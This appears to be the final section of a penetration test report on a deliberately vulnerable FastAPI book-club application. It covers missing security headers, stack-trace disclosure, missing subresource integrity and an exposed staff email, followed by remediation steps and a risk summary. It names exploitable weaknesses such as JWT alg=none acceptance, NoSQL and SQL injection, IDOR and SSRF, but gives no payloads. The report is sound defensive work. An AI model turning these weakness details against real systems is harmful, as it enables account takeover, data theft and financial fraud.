The application returns HTML responses without several browser-enforced security headers across all observed routes. The absence of a `Content-Security-Policy` header (INV-62) removes the one browser-level control that would constrain the exploitation of the confirmed stored and DOM-based Cross-Site Scripting vulnerabilities identified elsewhere in this assessment. Without a `script-src` directive, injected scripts can load resources from any origin and exfiltrate data without restriction. The missing `X-Frame-Options` header and absence of a `frame-ancestors` CSP directive (INV-56) leave the application frameable by any external site, enabling clickjacking attacks against authenticated purchase and account-modification flows. The missing `Permissions-Policy` header (INV-66) means that any script executing in the application's context, including those injected through the confirmed XSS vulnerabilities, can invoke sensitive browser APIs such as the microphone, camera, and geolocation without restriction. The missing `Cross-Origin-Embedder-Policy` (INV-63) and `Cross-Origin-Opener-Policy` (INV-64) headers prevent the application from achieving cross-origin isolation, leaving it theoretically susceptible to Spectre-class side-channel attacks. The missing `X-Content-Type-Options: nosniff` header (INV-68) removes a browser-level barrier against MIME-type confusion attacks and disables Cross-Origin Read Blocking across all API responses. All of these headers can be applied globally through a single middleware or reverse-proxy configuration change with no functional impact on the application.

Verbose Error Messages and Internal Path Disclosure

The application returns full Python stack traces in HTTP responses when unhandled exceptions occur (INV-60). A duplicate username submitted to the registration endpoint produces a 500 response containing the absolute server path `/opt/marginalia/app/main.py`, the database client library path `/opt/marginalia/app/libsql_client.py`, the SQL insert template including column count and ordering, and the Python 3.12 runtime with the full FastAPI/Starlette middleware chain. This reconnaissance data directly lowers the effort required to exploit the SQL injection vulnerabilities confirmed elsewhere in the assessment. The `/api/_status` endpoint (INV-59) similarly discloses the database file path, internal hostname, and administrator email addresses to any unauthenticated caller, functioning as a free reconnaissance package for any attacker who queries it.

Missing Subresource Integrity and Caching Controls

The `/docs` page loads Swagger UI JavaScript and CSS from `cdn.jsdelivr.net` using a floating version tag (`@5`) without `integrity` attributes on either resource tag (INV-67). A compromise of the CDN or an active network interception would allow arbitrary JavaScript to execute in the application's origin without any browser-level verification. Separately, the registration page serves responses without `Cache-Control: no-store` directives while transmitting credentials as GET query parameters (INV-61), meaning

plaintext passwords may be retained in browser caches, proxy stores, and CDN edge nodes on shared or enterprise infrastructure.

Email Address Disclosure

The attachment download endpoint returns the email address of a named staff member (`rhys@marginalia.club`) within the content of an internal document (INV-65). While a single email address carries minimal direct security impact, it provides a confirmed staff identity for targeted social engineering and, in combination with the password reset token disclosure vulnerabilities identified in this assessment, represents a ready-made target for account takeover attempts against a privileged account.

INFO Missing Content-Security-Policy Header

Affected resource: `https://marginalia.testinvicti.com/`

DESCRIPTION

The application at marginalia.testinvicti.com does not return a Content-Security-Policy response header on any observed path, including /account. Content Security Policy instructs the browser to restrict which sources can load scripts, styles, images, and other resources. Without this header, the browser applies no source restrictions beyond the same-origin policy. This leaves the application without a defense-in-depth layer that would limit the impact of content injection or cross-site scripting attacks.

IMPACT

An attacker who achieves script injection can load resources from any origin, exfiltrate data to external servers, and embed the application in iframes for clickjacking. The application relies entirely on input validation and output encoding to prevent exploitation. A single encoding bypass has no browser-level mitigation to contain its impact.

RECOMMENDATION

1. Add a `Content-Security-Policy` response header to every HTML response. Start with a restrictive policy such as `default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; frame-ancestors 'none'` .
2. Replace any inline scripts or styles with external files, or add `nonce` -based exceptions (`script-src 'nonce-<random>'`) to allow specific inline blocks.
3. Deploy the policy in report-only mode first (`Content-Security-Policy-Report-Only`) and monitor the report URI for violations before enforcing.
4. Remove `unsafe-inline` and `unsafe-eval` from the final enforced policy to maximize protection.
5. Add CSP header validation to the CI pipeline or deployment checks to prevent regressions.

INFO Missing Cross-Origin-Embedder-Policy Header

Affected resource: `https://marginalia.testinvicti.com/`

DESCRIPTION

The server at https://marginalia.testinvicti.com/account returns responses without a Cross-Origin-Embedder-Policy (COEP) header. COEP instructs the browser to require explicit permission from every cross-origin resource before loading it. Without this header, the browser cannot achieve Cross-Origin Isolation for the page. Cross-Origin Isolation is a prerequisite for using high-resolution timers and SharedArrayBuffer safely. The replay of a GET request to /account confirmed the response contains only Date, Content-Type, Content-Length, and Connection headers.

IMPACT

The application cannot achieve Cross-Origin Isolation. The browser keeps the page in a shared process group, which exposes in-memory data to side-channel attacks such as Spectre from co-hosted origins. High-performance APIs like SharedArrayBuffer remain unavailable. The practical risk is low because exploitation requires a co-located attacker origin and precise timing techniques.

RECOMMENDATION

1. Add the `Cross-Origin-Embedder-Policy: require-corp` response header to all HTML responses served by the application.
2. Ensure every cross-origin sub-resource (images, scripts, stylesheets) includes a `Cross-Origin-Resource-Policy: cross-origin` header or is served with appropriate CORS headers.
3. Pair COEP with `Cross-Origin-Opener-Policy: same-origin` to achieve full Cross-Origin Isolation.
4. Verify isolation by checking `self.crossOriginIsolated === true` in the browser console after deployment.
5. Add an automated CI check or HTTP response header scanner to prevent regression of security headers.

INFO Missing Cross-Origin-Opener-Policy Header

Affected resource: `https://marginalia.testinvicti.com/`

DESCRIPTION

The server does not return a Cross-Origin-Opener-Policy (COOP) response header on HTML pages. COOP instructs the browser to isolate a document into its own browsing context group. Without it, a page opened via window.open retains a reference to its opener, and both windows share the same OS process. The scanner observed the /account page returning a 200 response with Content-Type text/html and no COOP header. Independent replay of both / and /account confirmed the header is absent across the application.

IMPACT

Without COOP, a malicious cross-origin page that opens the target in a new window retains a reference to it. An attacker could use that reference in combination with side-channel techniques to infer cross-origin state. The absence of COOP also prevents the site from enabling cross-origin isolation, which is a prerequisite for high-resolution timers and SharedArrayBuffer. The direct exploitability is low because COOP alone does not expose data; it is a defense-in-depth measure.

RECOMMENDATION

1. Add the header `Cross-Origin-Opener-Policy: same-origin` to all HTML responses in the web server or reverse proxy configuration.
2. If the application intentionally opens cross-origin popups that need a reference back, use `same-origin-allow-popups` instead of `same-origin`.
3. Test the application after enabling COOP to confirm that OAuth flows, payment redirects, and other popup-based integrations still function correctly.
4. Adopt a centralized security-headers middleware or reverse-proxy rule so that new endpoints inherit the policy automatically.

INFO Information Disclosure in Attachment Download Endpoint

Affected resource: `https://marginalia.testinvicti.com/`

DESCRIPTION

The attachment download endpoint at `/api/attachments/download?id=1` returns a JSON object containing the full text of an internal document. That document includes the email address `rhys@marginalia.club`. The endpoint requires no authentication. Any visitor can retrieve the attachment by requesting it with a valid numeric `id` parameter. The disclosed email address belongs to a staff member named in the document as a curator.

IMPACT

Spambots and attackers can harvest the exposed email address for spam or phishing campaigns. The same response also leaks internal auction reserve prices marked as confidential. An attacker could use the staff email address for targeted social engineering against the organization.

RECOMMENDATION

1. Require authentication on the `/api/attachments/download` endpoint so only authorized users can retrieve attachment content.
2. Strip or obfuscate email addresses from responses served to unauthenticated users.
3. Review all attachment records for other internal documents that should not be publicly accessible.
4. Implement rate limiting on the attachment endpoint to slow enumeration of `id` values.

5. Add automated content scanning in CI/CD to flag email addresses and confidential markers before deployment.

INFO Missing Permissions-Policy Header

Affected resource: `https://marginalia.testinvicti.com/`

DESCRIPTION

The application at marginalia.testinvicti.com does not set the Permissions-Policy HTTP response header on any page. This header controls which browser features (camera, microphone, geolocation, payment APIs, etc.) the document and its embedded iframes can access. Without it, the browser grants access to all features by default. The /account endpoint and the root page both return responses with no Permissions-Policy or Feature-Policy header present.

IMPACT

Third-party scripts or iframes embedded in the application can access all browser features without restriction. If an attacker exploits a cross-site scripting vulnerability, they can invoke sensitive APIs such as the camera, microphone, or geolocation. This is a defense-in-depth gap rather than a directly exploitable vulnerability.

RECOMMENDATION

1. Add a `Permissions-Policy` header to all HTTP responses at the web server or reverse proxy level, for example: `Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()`.
2. Disable every browser feature the application does not use. Allow only the specific origins that require each feature.
3. Remove the deprecated `Feature-Policy` header if present, and rely solely on `Permissions-Policy`.
4. Verify the header is present on all routes by running `curl -sI https://marginalia.testinvicti.com/` and checking for the header.
5. Add an automated CI check or security header scanner to prevent regressions when deploying new configurations.

INFO Missing Subresource Integrity on CDN Resources

Affected resource: `https://marginalia.testinvicti.com/`

DESCRIPTION

The /docs page loads external JavaScript and CSS from cdn.jsdelivr.net without Subresource Integrity (SRI) attributes. The script tag for swagger-ui-bundle.js and the link tag for swagger-ui.css both lack an integrity attribute. The browser therefore cannot verify that these resources have not been modified at the CDN or in transit. The version specifier @5 is a floating tag that resolves to the latest 5.x release, which increases the risk because the resource content changes over time without the application author's explicit approval.

IMPACT

An attacker who compromises the jsdelivr CDN or performs a man-in-the-middle attack can inject arbitrary JavaScript into the application. That script executes in the origin of marginalia.testinvicti.com and can steal session cookies, API tokens, and user data. The floating version tag (@5) means the CDN can serve a different file at any time, widening the supply-chain attack surface.

RECOMMENDATION

1. Pin the Swagger UI version to an exact release (e.g., `swagger-ui-dist@5.18.2`) and add an `integrity` attribute with a SHA-384 hash to both the `<script>` and `<link>` tags.
2. Add `crossorigin="anonymous"` to each element so the browser enforces the integrity check for cross-origin resources.
3. Generate the hash with `openssl dgst -sha384 -binary <file> | openssl base64 -A` or use the SRI Hash Generator at https://www.srihash.org/.
4. Consider hosting the Swagger UI assets on the same origin to eliminate the third-party dependency entirely.
5. Add an automated CI check (e.g., an HTML linter rule) that flags external `<script>` and `<link>` tags missing `integrity` attributes.

INFO Missing X-Content-Type-Options Header

Affected resource: `https://marginalia.testinvicti.com/`

DESCRIPTION

The server does not include the `X-Content-Type-Options: nosniff` response header on any observed path. The scanner identified the OpenAPI specification endpoint as a specific example. Replay confirms that both the root HTML page and the JSON endpoint omit this header. Without it, browsers perform MIME type sniffing and may interpret a response body as a different content type than the one declared in the `Content-Type` header. This removes a defense-in-depth layer that prevents content-type confusion attacks. The header also enables Cross-Origin Read Blocking, which protects sensitive JSON and HTML responses from cross-origin reads.

IMPACT

Browsers may reinterpret server responses as executable content types. An attacker who controls or influences response content could exploit MIME sniffing to trigger script execution. The absence of this header also disables Cross-Origin Read Blocking, which increases exposure to cross-origin data leakage through script-inclusion attacks.

RECOMMENDATION

1. Add the header `X-Content-Type-Options: nosniff` to every HTTP response at the reverse proxy or application middleware level.
2. Verify that all `Content-Type` values returned by the application match the actual content served, so the `nosniff` directive does not break legitimate rendering.
3. Confirm the fix by requesting several paths (e.g., `/`, `/openapi.json`, `/api/books`) and checking that the `X-Content-Type-Options: nosniff` header appears in each response.
4. Add an automated CI check or integration test that fails when any response omits the `X-Content-Type-Options` header.

8. Recommendations

Immediate (Critical and High Vulnerabilities)

The following vulnerabilities require remediation before the application is exposed to real users or handles live financial transactions. Inaction leaves the platform open to complete compromise, mass data breach, and unlimited financial fraud.

Authentication Infrastructure (INV-9, INV-2, INV-11) The JWT library must be reconfigured to reject the `alg=none` algorithm immediately. Pass an explicit `algorithms=["HS256"]` allowlist to every `jwt.decode()` call and validate that the signature field is non-empty before processing any claims. The password reset endpoint must be corrected to deliver tokens exclusively through the out-of-band email channel and must never include the token in the API response body. The NoSQL injection in the reset endpoint's `email` parameter must be remediated by replacing the `$where` JavaScript expression with a standard equality filter.

Administrative Access Control (INV-1, INV-6, INV-7, INV-8, INV-10) Every route under the `/api/admin/` namespace must enforce both authentication and role-based authorization. Implement a centralized FastAPI `Depends(require_role("admin"))` guard and apply it to all admin routes. The `/api/admin/diagnostics` endpoint must be placed behind this guard immediately; its `host` parameter must be restricted to an allowlist of permitted internal addresses, and the response body must not return fetched content. The `PATCH /api/users/me` endpoint must define an explicit allowlist of mutable fields using a strict Pydantic model with `model_config = ConfigDict(extra='forbid')`, removing `role` and `credits` from the set of fields any user can modify.

Financial Business Logic (INV-3, INV-4, INV-5, INV-17, INV-18) All monetary input fields must be validated server-side. The `price_cents` field on book creation must reject values less than or equal to zero. The `unit_price_cents` field must be removed from the order creation request schema entirely; the server must compute `total_cents` from the catalog price. The `quantity` field must be validated as a strictly positive integer using `Field(gt=0, strict=True)`. The wallet transfer endpoint must wrap its balance check and deduction in a single `BEGIN IMMEDIATE` SQLite transaction, and a `CHECK (credits >= 0)` constraint must be added to the wallet table.

SQL Injection (INV-34, INV-35) The `q` parameter in the `my_shelf` function at `/opt/marginalia/app/main.py` line 1664 must be replaced with a parameterized query using placeholder binding. The `sort` parameter must be validated against a server-side allowlist of permitted column names; user input must never be interpolated into an `ORDER BY` clause. Verbose error responses must be disabled in production by removing the `trace` field from error JSON.

Pervasive IDOR Across User-Owned Resources (INV-21 through INV-33) Every endpoint that operates on a user-owned resource must verify that the authenticated user's `sub` claim matches the resource's stored `user_id` before returning or modifying data. This applies to annotations (INV-21, INV-22, INV-23), attachments (INV-24), books (INV-25), book feature actions (INV-26), club posts (INV-27), reading lists (INV-28), orders (INV-29), reviews (INV-30, INV-31, INV-32), and user profiles (INV-33). Return HTTP 404 for both missing and unauthorized resources to prevent identifier enumeration. Replace sequential integer identifiers with UUIDs across all user-owned resource types. Implement a centralized authorization middleware or policy engine so new endpoints inherit ownership checks automatically.

Cross-Site Scripting (INV-37 through INV-47) Enable Jinja2 `autoescape=True` globally in the FastAPI template configuration. Apply `bleach` or `nh3` server-side sanitization to all user-supplied review `body` fields before storage. In `app.js`, add an `event.origin` check to the `postMessage` handler (INV-37), replace `el.innerHTML` assignments with `el.textContent` or DOMPurify-sanitized equivalents, and add the `__proto__` guard to the `merge()` function (INV-38). Replace the `invite.innerHTML` sink in the clubs page with `invite.textContent` (INV-46). Retroactively sanitize all stored review content in the database to remove already-injected payloads.

Server-Side Request Forgery (INV-12, INV-36) The `source_url` parameter on the book cover import endpoint must validate the resolved IP address against a blocklist of all private, loopback, and link-local ranges on all ports, not just port 80. The response body preview must be removed. The diagnostics endpoint SSRF is addressed by the administrative access control remediation above.

CORS Misconfiguration (INV-19) Replace the origin-reflection middleware with an explicit allowlist of trusted origins. Never combine `Access-Control-Allow-Credentials: true` with a reflected or wildcard origin value.

Hardcoded Credentials (INV-14) Remove the HTML comment and tooltip element containing demo credentials from the `/login` page template immediately. Rotate the `demo@marginalia.club` password and the JWT signing key. Integrate a secret scanner such as `gitleaks` or `trufflehog` into the CI pipeline to prevent credential embedding in future deployments.

Additional High-Severity Items (INV-13, INV-15, INV-16, INV-20) The private club join endpoint must verify role or invite code before granting membership. Password reset tokens must be invalidated immediately after first use. The `POST /api/books/{book_id}/read` endpoint must verify that the `book_id` references an existing published book before awarding credits. The diagnostics endpoint's open proxy capability for external URLs must be restricted to an allowlist even after authentication is added.

Short-Term (Medium Vulnerabilities)

The following vulnerabilities should be addressed within a defined remediation window of 30 days. Several share a common root cause and can be resolved together.

Order Quantity and Coupon Validation (INV-48, INV-49) The coupon redemption system must track per-user usage and enforce the configured `max_uses_per_user` limit. The `quantity` field must reject zero values using `Field(ge=1)`. These fixes extend the server-side input validation work begun in the immediate tier.

Information Disclosure on Status and Club Endpoints (INV-50, INV-51) The `/api/_status` endpoint must be restricted to authenticated administrators or replaced with a minimal `{"status": "ok"}` response. The `/api/clubs` listing must filter private clubs from unauthenticated responses and must remove the `invite_code` field from all list responses, returning it only to club owners through a dedicated endpoint.

Open Redirect (INV-54, INV-55) The `/go` endpoint must validate the `to` parameter against an allowlist of permitted domains or restrict it to relative paths beginning with `/`. Both findings describe the same endpoint and should be remediated together.

External SSRF via Diagnostics (INV-52) Even with internal addresses blocked, the diagnostics endpoint's ability to proxy arbitrary external URLs must be eliminated by implementing a strict destination allowlist. This is a follow-on to the immediate-tier remediation of the same endpoint.

CORS Header Misconfiguration (INV-53) This finding duplicates the CORS issue addressed in INV-19 at the root path level. Confirm that the allowlist-based CORS fix applied in the immediate tier covers all application routes.

Long-Term (Low, Informational, and Architectural Improvements)

Security Header Baseline Deploy a centralized security-headers middleware or Nginx `add_header` block that applies the following to all responses: `Strict-Transport-Security: max-age=31536000; includeSubDomains` (INV-57), `X-Frame-Options: DENY` (INV-56), `Content-Security-Policy: default-src 'self'; script-src 'self'; frame-ancestors 'none'` (INV-62), `X-Content-Type-Options: nosniff` (INV-68), `Permissions-Policy: camera=(), microphone=(), geolocation=()` (INV-66), `Cross-Origin-Opener-Policy: same-origin` (INV-64), and `Cross-Origin-Embedder-Policy: require-corp` (INV-63). Add a CI check that fails when any HTTPS response omits these headers.

Verbose Error Suppression and Cache Controls Set `debug=False` in the FastAPI production configuration and add a global exception handler that returns generic error messages while logging full stack traces server-side only (INV-60, INV-59). Add `Cache-Control: no-store` to all credential-bearing and authenticated routes, and move registration form submissions from GET to POST (INV-61).

Subresource Integrity Pin the Swagger UI CDN resources to an exact version and add `integrity` and `crossorigin="anonymous"` attributes to both the script and stylesheet tags (INV-67). Consider self-hosting the Swagger UI assets to eliminate the third-party dependency.

API Response Data Minimization Audit all API serializers to remove fields that should not be returned to the calling user tier. Specifically, remove `email` from the book detail owner object for unauthenticated callers (INV-58), remove `password_hash` and `api_key` from all admin user listing responses, and adopt a response-schema allowlist pattern across all serializers to prevent future field leakage.

Recurring Security Assessment Given the breadth and depth of vulnerabilities identified, schedule a follow-up penetration test after the immediate and short-term remediations are complete to verify that fixes are effective and that no new vulnerabilities were introduced. Integrate SAST tooling (Bandit, Semgrep) and DAST scanning into the CI/CD pipeline to catch regressions before deployment.

9. Risk Assessment

The Marginalia application presents a critical overall security posture. The vulnerabilities identified are not isolated oversights attributable to a single developer error or a single component; they reflect systemic failures across every major security domain: authentication, authorization, input validation, business logic integrity, and security configuration. The breadth and consistency of these failures indicate that security was not incorporated into the application's design or development process.

Authorization Is Absent at the Object and Function Level

The most pervasive pattern in this assessment is the complete absence of object-level authorization. The application correctly enforces authentication at the session boundary — unauthenticated requests receive HTTP 401 across the vast majority of protected endpoints — but it performs no subsequent check to verify that the authenticated caller is entitled to the specific resource or function they are requesting. This pattern repeats without exception across annotations, reviews, orders, reading lists, books, clubs, user profiles, and administrative endpoints. The result is that authentication provides the appearance of access control while delivering none of its substance: any registered user can read, modify, or delete any other user's data by incrementing an integer identifier. This is not a collection of individual bugs; it is an architectural gap that must be addressed through a centralized authorization layer applied uniformly across all endpoints.

The Authentication Infrastructure Is Fundamentally Compromised

The JWT `alg=none` acceptance (INV-9) means that the application's authentication boundary is cryptographically void: any party can forge an identity token with arbitrary claims, including administrative roles, without possessing any secret material. This vulnerability alone constitutes a complete authentication bypass. Compounding this, the password reset system returns secret tokens in the API response body (INV-2), the reset endpoint is injectable via NoSQL operators (INV-11), and reset tokens are never invalidated after use (INV-15). These failures are not independent: they form a layered collapse of the authentication system in which every recovery mechanism is as broken as the primary one.

The Financial Layer Has No Server-Side Integrity Controls

The application's ordering and wallet subsystems treat client-supplied values as authoritative for monetary calculations. Prices, quantities, and totals are accepted from the client without server-side reconciliation against catalog data. The wallet transfer endpoint lacks atomic transaction semantics. The reading reward system awards credits for non-existent books. Taken together, these vulnerabilities provide any registered user with multiple independent, unlimited pathways to generate arbitrary store credit or acquire goods without payment. This is not a single business logic flaw but a pattern indicating that financial integrity was not considered as a design requirement.

Comparison to Commonly Observed Applications

Applications of this complexity commonly exhibit a subset of the vulnerability classes identified here — typically a handful of IDOR findings, one or two injection vulnerabilities, and several missing security headers. The Marginalia assessment identified 12 Critical and 35 High vulnerabilities, a density that is substantially above what is observed in applications that have undergone any prior security review. The simultaneous presence of authentication bypass, mass assignment, SQL injection, NoSQL injection, stored XSS across multiple endpoints, unauthenticated SSRF, and a complete absence of object-level

authorization suggests the application has not previously been subjected to security testing and was developed without reference to secure coding standards or threat modeling.

Overall Risk Level

The application in its current state should not be deployed in a production environment handling real user data or financial transactions. The combination of unauthenticated administrative access, cryptographic authentication bypass, and unlimited financial fraud capability means that a single motivated attacker with no prior knowledge of the application could achieve full platform compromise, extract all user data, and generate arbitrary financial value within a single session. Remediation of the Critical vulnerabilities is a prerequisite for any production deployment; the High vulnerabilities must follow in close succession to address the pervasive data exposure across the application's user-owned resource layer.

Generated on 2026-11-18 09:11:43 UTC

Assessment: be0b6fb8-c929-47af-a166-c30e15e1a8a1